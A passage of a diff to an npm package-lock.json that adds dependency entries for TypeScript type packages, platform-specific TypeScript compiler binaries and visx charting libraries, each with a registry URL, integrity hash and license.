"sha512-he+DHOWReW0nghN24E1WUqM0efK4kI9oTqDm6XmK8ZPe2djZ90BSNdGnIyCLzCPw7/pogPlGbzI2wHGGmi4O/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/cors": { + "version": "2.8.19", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz", + "integrity": "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/d3-array": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.0.3.tgz", + "integrity": "sha512-Reoy+pKnvsksN0lQUlcH6dOGjRZ/3WRwXR//m+/8lt1BXeI4xyaUZoqULNjyXXRuh0Mj4LNpkCvhUpQlY3X5xQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-HKuicPHJuvPgCD+np6Se9MQvS6OCbJmOjGvylzMJRlDwUXjKTTXs6Pwgk79O09Vj/ho3u1ofXnhFOaEWWPrlwA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-delaunay": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/@types/d3-delaunay/-/d3-delaunay-6.0.1.tgz", + "integrity": "sha512-tLxQ2sfT0p6sxdG75c6f/ekqxjyYR0+LwPrsO1mbC9YDBzPJhs2HbJJRrn8Ez1DBoHRo2yx7YEATI+8V1nGMnQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-format": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/d3-format/-/d3-format-3.0.1.tgz", + "integrity": "sha512-5KY70ifCCzorkLuIkDe0Z9YTf9RR2CjBX1iaJG+rgM/cPP+sO+q9YdQ9WdhQcgPj1EQiJ2/0+yUkkziTG6Lubg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/geojson": "*" + } + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-jx5leotSeac3jr0RePOH1KdR9rISG91QIE4Q2PYTu4OymLTZfA3SrnURSLzKH48HmXVUru50b8nje4E79oQSQw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-Yk4htunhPAwN0XGlIwArRomOjdoBFXC3+kCxK2Ubg7I9shQlVSJy/pG/Ht5ASN+gdMIalpk8TJ5xV74jFsetLA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", + "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.0.tgz", + "integrity": "sha512-sZLCdHvBUcNby1cB6Fd3ZBrABbjz3v1Vm90nysCQ6Vt7vd6e/h9Lt7SiJUoEX0l4Dzc7P5llKyhqSi1ycSf1Hg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-time-format": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-time-format/-/d3-time-format-2.1.0.tgz", + "integrity": "sha512-/myT3I7EwlukNOX2xVdMzb8FRgNzRMpsZddwst9Ld/VFe6LyJyRp0s32l/V9XoUzk+Gqu56F/oGk6507+8BxrA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/deep-eql": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/express": { + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/@types/express/-/express-5.0.6.tgz", + "integrity": "sha512-sKYVuV7Sv9fbPIt/442koC7+IIwK5olP1KWeD88e/idgoJqDm3JV/YUiPwkoKK92ylff2MGxSz1CSjsXelx0YA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^5.0.0", + "@types/serve-static": "^2" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-5.1.3.tgz", + "integrity": "sha512-dPfW8NFiOF4wOHc7+N/QSxlY9cfSsenewGbAz8C8U/MULPd/YZ27LvJUIlzaXie7e6Ove9YunJGgC9tbHD2cKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/geojson": { + "version": "7946.0.16", + "resolved": "https://registry.npmjs.org/@types/geojson/-/geojson-7946.0.16.tgz", + "integrity": "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/http-errors": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", + "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/jsonwebtoken": { + "version": "9.0.10", + "resolved": "https://registry.npmjs.org/@types/jsonwebtoken/-/jsonwebtoken-9.0.10.tgz", + "integrity": "sha512-asx5hIG9Qmf/1oStypjanR7iKTv0gXQ1Ov/jfrX6kS/EO0OFni8orbmGCn0672NHR3kXHwpAwR+B368ZGN/2rA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/ms": "*", + "@types/node": "*" + } + }, + "node_modules/@types/lodash": { + "version": "4.17.26", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.26.tgz", + "integrity": "sha512-48NWfiY6oNcKOh47Z4h+sIvwcQR91h6KPhaYKgeMIrkT2jV82Gy90SErj60vW8jQbeMSOSbhIv3bZ7JoqPPVhA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/methods": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@types/methods/-/methods-1.1.4.tgz", + "integrity": "sha512-ymXWVrDiCxTBE3+RIrrP533E70eA+9qu7zdWoHuOmGujkYtzf4HQF96b8nwHLqhuf4ykX61IGRIB38CC6/sImQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "26.5.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-26.5.1.tgz", + "integrity": "sha512-CzNm2FezW4VR/LjG6yUdiEgLE/rAQ9Slj5gCu/C2VrdcW7I0ahNZ8DRbHT7zOZ6r3ONgd/bsQIeSaoDGrd1C6g==", + "license": "MIT", + "dependencies": { + "undici-types": "~8.9.0" + } + }, + "node_modules/@types/pg": { + "version": "8.23.1", + "resolved": "https://registry.npmjs.org/@types/pg/-/pg-8.23.1.tgz", + "integrity": "sha512-fKVHpikPdg4GKks3JuLEhvwSyvwzF23hnabPy6DD8ljVbC7+6J5dQzdv4arV6jqq57djnMgs1HKBxX4P8aBI3A==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "pg-protocol": "*", + "pg-types": "^2.2.0" + } + }, + "node_modules/@types/qs": { + "version": "6.15.1", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.15.1.tgz", + "integrity": "sha512-GZHUBZR9hckSUhrxmp1nG6NwdpM9fCunJwyThLW1X3AyHgd9IlHb6VANpQQqDr2o/qQp6McZ3y/IA2rVzKzSbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/range-parser": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", + "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "19.3.0", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz", + "integrity": "sha512-N0rFCuH9YoxG9/m61l9MfpJKfmLOVU0em7ipIz6TRgSSkvReLB9vL85GB+yr8Bs5leqpvg96JSwF4ZS1s4viQg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "csstype": "^3.2.2" + } + }, + "node_modules/@types/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", + "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-2.2.0.tgz", + "integrity": "sha512-8mam4H1NHLtu7nmtalF7eyBH14QyOASmcxHhSfEoRyr0nP/YdoesEtU+uSRvMe96TW/HPTtkoKqQLl53N7UXMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/http-errors": "*", + "@types/node": "*" + } + }, + "node_modules/@types/superagent": { + "version": "8.1.11", + "resolved": "https://registry.npmjs.org/@types/superagent/-/superagent-8.1.11.tgz", + "integrity": "sha512-KA7srSW/HENDtOw9DOqaFLgWuMqN9WgjEw62lh9dpvRaZDkhdOkazASd7X7i2eMUYLHa1U37ZttnePsH5zTDHw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/cookiejar": "^2.1.5", + "@types/methods": "^1.1.4", + "@types/node": "*", + "form-data": "^4.0.0" + } + }, + "node_modules/@types/supertest": { + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/@types/supertest/-/supertest-7.2.1.tgz", + "integrity": "sha512-4CbBvoYVLHL7+yhbYrZET0vsvuyXTC05aRe7dNQkwMzm56auceoy6Yu3K50uZmwfHna1os3CMSgM/3QVkUtPTw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/methods": "^1.1.4", + "@types/superagent": "^8.1.0" + } + }, + "node_modules/@typescript/typescript-aix-ppc64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-aix-ppc64/-/typescript-aix-ppc64-7.0.2.tgz", + "integrity": "sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKiPXMxXtQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-darwin-arm64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-arm64/-/typescript-darwin-arm64-7.0.2.tgz", + "integrity": "sha512-gowzar9MwS/aRWp6f3a4KUqzRjAZjOsmGNCM6LcTgXum+dBfgsBVMN+AgvOCCbguXyick6LJhpBszxMebJ8syA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-darwin-x64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-x64/-/typescript-darwin-x64-7.0.2.tgz", + "integrity": "sha512-SZ9xZInqApNlNGc9s0W1VSsktYSOe9cFqNOIqmN1Gs8SmkjKZYFt017G4VwPxASInODuAdbTW7sXiFUf893RgA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-freebsd-arm64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-arm64/-/typescript-freebsd-arm64-7.0.2.tgz", + "integrity": "sha512-W5NH4y/J0plIIS5b2xvTEkU7JFxyqdMAOgf+Ilhl0vHQXKO5dZoxd+C/jEtq56c4F3wk71RB4BMRQ2XdI+bwYQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-freebsd-x64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-x64/-/typescript-freebsd-x64-7.0.2.tgz", + "integrity": "sha512-UMGDx5sTpzNw3WiPebH7l90IWfJggEd+egHt/q6p7/Cm3zqoV7VxkGXt+3DxPIw8CcmvAB0j3sVVfbhX+M4Tpw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-arm": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm/-/typescript-linux-arm-7.0.2.tgz", + "integrity": "sha512-gffT3xPz9sR7j/YJExkyPntrI0P2EP9XbOyWzth2/Gs0RstK+90RBcO0ncXoXy/beYll1SXw846Nf2zdnEz0QQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-arm64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm64/-/typescript-linux-arm64-7.0.2.tgz", + "integrity": "sha512-Qh4eU4/y3yDjnfjjyPYihMj5/ODIlmt+Bzu17OI+fiSRDW57QmU5SiN63exPRNJPKUzcc1INa1NXdrJ+MqHjUQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-loong64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-loong64/-/typescript-linux-loong64-7.0.2.tgz", + "integrity": "sha512-uEHck9i8hoAzXPiYRib1O7miOnz23SxIeVl6F4LXox+qov1K35jHcEW6VHKvZI+pyvl7fZEP4MCU5LYvIq1GuQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-mips64el": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-mips64el/-/typescript-linux-mips64el-7.0.2.tgz", + "integrity": "sha512-R4KvAMnE43W5Qeqb0Ly56O3mWMWIAgsMyz36DCaycd5nbg/9kzm0liw3JocfRqyJY0KPmzFjbswozXyW0DnIYA==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-ppc64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-ppc64/-/typescript-linux-ppc64-7.0.2.tgz", + "integrity": "sha512-DORx5b3sd/4S7eayxm4FQv+A7CrkUIGRaHiwI8oiHTAI1fAPWhF4J0vAlkC8biAlHSVVwxMQ3tjZ2/DVbnQiiA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-riscv64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-riscv64/-/typescript-linux-riscv64-7.0.2.tgz", + "integrity": "sha512-wf0jqEDOjrPRnKwYRyyJDRo11KMbvMFrU+q4zqKyChODBzvlkbhNQfKvLxQCcwTpdDaXSHZTVuh0JoCrKCUMHQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-s390x": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-s390x/-/typescript-linux-s390x-7.0.2.tgz", + "integrity": "sha512-IkwJc3L7yhytWd/ewjyxNDfOmswCm9GWMJT/ue/dU4aZNbwZeYAetq42VyLmsmSjvoX7z74X6ZaYCtzAr0EuGw==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-linux-x64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-x64/-/typescript-linux-x64-7.0.2.tgz", + "integrity": "sha512-EYdf2cNg7rgCWJnxCdJ+F3V39O8ihb37eHAu1LK8oAFizgTQbPOK7zHHXbPt8rX24COqODXeI3sIf0fCXG7H/A==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-netbsd-arm64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-arm64/-/typescript-netbsd-arm64-7.0.2.tgz", + "integrity": "sha512-+polYF4MF04aPpO5FTkHran9yUQDSXqy5GiSDKpsll5jy3l3+g9QLhpf39T+ePtefhXLOGrLl0QIjkQP6VnelA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-netbsd-x64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-x64/-/typescript-netbsd-x64-7.0.2.tgz", + "integrity": "sha512-8YIT0EHM/3dq10ZOVF/A7pc/YSMtbcecct4rWtexrnSCHOPcpC2KTLXfTCR6vDpnSiY12heNb1GiN/wu+T/FyA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-openbsd-arm64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-arm64/-/typescript-openbsd-arm64-7.0.2.tgz", + "integrity": "sha512-APT8+ClYnuYm1u9+kgGXoMj2VzWzcymwh2gNSQVySHfkRDGOTVkoWLjCmOQSaO+PoqQ57B0flRp9SA+7GnnkzQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-openbsd-x64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-x64/-/typescript-openbsd-x64-7.0.2.tgz", + "integrity": "sha512-yX7s+Q0Dln0Dt9tEzZsAjXXR/+ytBM7AlglaqyeMPxQszJ1JhlJdZ6jLA+IzldHtflX81em7lDao1xXu+aRRkg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-sunos-x64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-sunos-x64/-/typescript-sunos-x64-7.0.2.tgz", + "integrity": "sha512-dLJDGaLZ1D4HPQn62u1n8mBDkJREwMsAkCdkwd4Ieqw+x3TUyTsqY0YiBCtE6H6OzzgGk3iuZ3vFWRS+E8/d1g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-win32-arm64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-arm64/-/typescript-win32-arm64-7.0.2.tgz", + "integrity": "sha512-Gyl1Vy6OsWesLzmq+EP0Fb7b4Nid5232AvcA2SFcdYreldpNtYFFofPjnt62y9hQy7VTaZp65ICJjuAQRaVcIQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@typescript/typescript-win32-x64": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-x64/-/typescript-win32-x64-7.0.2.tgz", + "integrity": "sha512-0BQ3HkAHHlKLSp1qRvf3SUhGpGsDuhB/jgFw75guyqbxJqEaS0Cw/VFO8i2nHglJUzQCRtMMR/IBAKE3ETMC4g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/@visx/curve": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/curve/-/curve-4.0.1-alpha.0.tgz", + "integrity": "sha512-jRu61Uz274pV1zyioXmboyrLutYbnKsgjj4njSGCnhdXj5GkZvZbg+ThDb6oOzoAnJOBRLz4rzPlWvNJOzuVMg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@visx/vendor": "4.0.0-alpha.0" + } + }, + "node_modules/@visx/event": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/event/-/event-4.0.1-alpha.0.tgz", + "integrity": "sha512-EQqCMSv/s8NbFjo+hz3FKsvvYfP+2QslsFJ/24/O5l/W+7UC6J6aAvO0ujVwrTwdYbuQ+vhxKi1xdPdKR/qj1g==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/react": "*", + "@visx/point": "4.0.1-alpha.0" + } + }, + "node_modules/@visx/grid": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/grid/-/grid-4.0.1-alpha.0.tgz", + "integrity": "sha512-rycutGmTHO+znNdPumheWMglm7YfpffvRwUkVy5zy4WoORIuKTMkDxwnOzHG2xMxU3EE/YCd37xFV5AxA30yeg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/react": "*", + "@visx/curve": "4.0.1-alpha.0", + "@visx/group": "4.0.1-alpha.0", + "@visx/point": "4.0.1-alpha.0", + "@visx/scale": "4.0.1-alpha.0", + "@visx/shape": "4.0.1-alpha.0", + "classnames": "^2.3.1" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/group": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/group/-/group-4.0.1-alpha.0.tgz", + "integrity": "sha512-V19l7iQ7jccBv8kao/EByuI6o4xtxzzLV9nqVI1hRvmdzTVsuLpqlwzYCZUXJaTVvUWf8s4D2SQFjGkj/Nw+0w==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/react": "*", + "classnames": "^2.3.1" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/point": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/point/-/point-4.0.1-alpha.0.tgz", + "integrity": "sha512-ijTfr/Nx09f03vIj9nyTr3z4Xth4Y75427UaogJh6dnIRLMEFHQOwNu791sbfiNj0a+ZXuaE32h0vKrFe4/8Qg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@visx/responsive": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/responsive/-/responsive-4.0.1-alpha.0.tgz", + "integrity": "sha512-o+1zGywQZY0+yOx3Iw87wc4bbPJRr/HnIukTwfOz4UVyj9pB1OQNVHB7OORO1+LBHJceWpB31co/ZV9KHncKrA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/lodash": "^4.17.13", + "@types/react": "*", + "lodash": "^4.17.21" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/scale": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/scale/-/scale-4.0.1-alpha.0.tgz", + "integrity": "sha512-nzjeE87vFSAXGWFiiNfBpNLAf0Q8Qmf6syvKLjqNi4kGZkdhbUll3E/59YsgWXmjM8+llPLWzGsP+JPvo5eq1A==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@visx/vendor": "4.0.0-alpha.0" + } + }, + "node_modules/@visx/shape": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/shape/-/shape-4.0.1-alpha.0.tgz", + "integrity": "sha512-62QeiVNmPlterQGwhkEDcbq7M0MqY0lBsK5QKXtM9ZoPZWkuGV3aykA3+Xu20B2FAvyJq4LqJzBc7Sxr+EAdbA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/lodash": "^4.17.13", + "@types/react": "*", + "@visx/curve": "4.0.1-alpha.0", + "@visx/group": "4.0.1-alpha.0", + "@visx/scale": "4.0.1-alpha.0", + "@visx/vendor": "4.0.0-alpha.0", + "classnames": "^2.3.1", + "lodash": "^4.17.21" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/vendor": { + "version": "4.0.0-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/vendor/-/vendor-4.0.0-alpha.0.tgz", + "integrity": "sha512-6I+MuqXBcv9jnlcVowHoHKSdk9gXTWkHLKyqBwRWg7LY6A3Ei8SHfubpqGV5rBUSppxMq2RszPJUS6w+H0YgmQ==", + "devOptional": true, + "license": "MIT and ISC", + "dependencies": { + "@types/d3-array": "3.0.3", + "@types/d3-color": "3.1.0", + "@types/d3-delaunay": "6.0.1", + "@types/d3-format": "3.0.1", + "@types/d3-geo": "3.1.0", + "@types/d3-interpolate": "3.0.1", + "@types/d3-path": "3.1.1", + "@types/d3-scale": "4.0.2", + "@types/d3-shape": "3.1.7", + "@types/d3-time": "3.0.0", + "@types/d3-time-format": "2.1.0", + "d3-array": "3.2.1", + "d3-color": "3.1.0", + "d3-delaunay": "6.0.2", + "d3-format": "3.1.0", + "d3-geo": "3.1.0", + "d3-interpolate": "3.0.1", + "d3-path": "3.1.0", + "d3-scale": "4.0.2", + "d3-shape": "3.2.0", + "d3-time": "3.1.0", + "d3-time-format": "4.1.0", + "internmap": "2.0.3" + } + }, + "node_modules/@visx/vendor/node_modules/d3-array": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.1.tgz", + "integrity": "sha512-gUY/qeHq/yNqqoCKNq4vtpFLdoCdvyNpWoC/KNjhGbhDuQpAM9sIQQKkXSNpXa9h5KySs/gzm7R88WkUutgwWQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@vitest/expect": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.11.tgz", + "integrity": 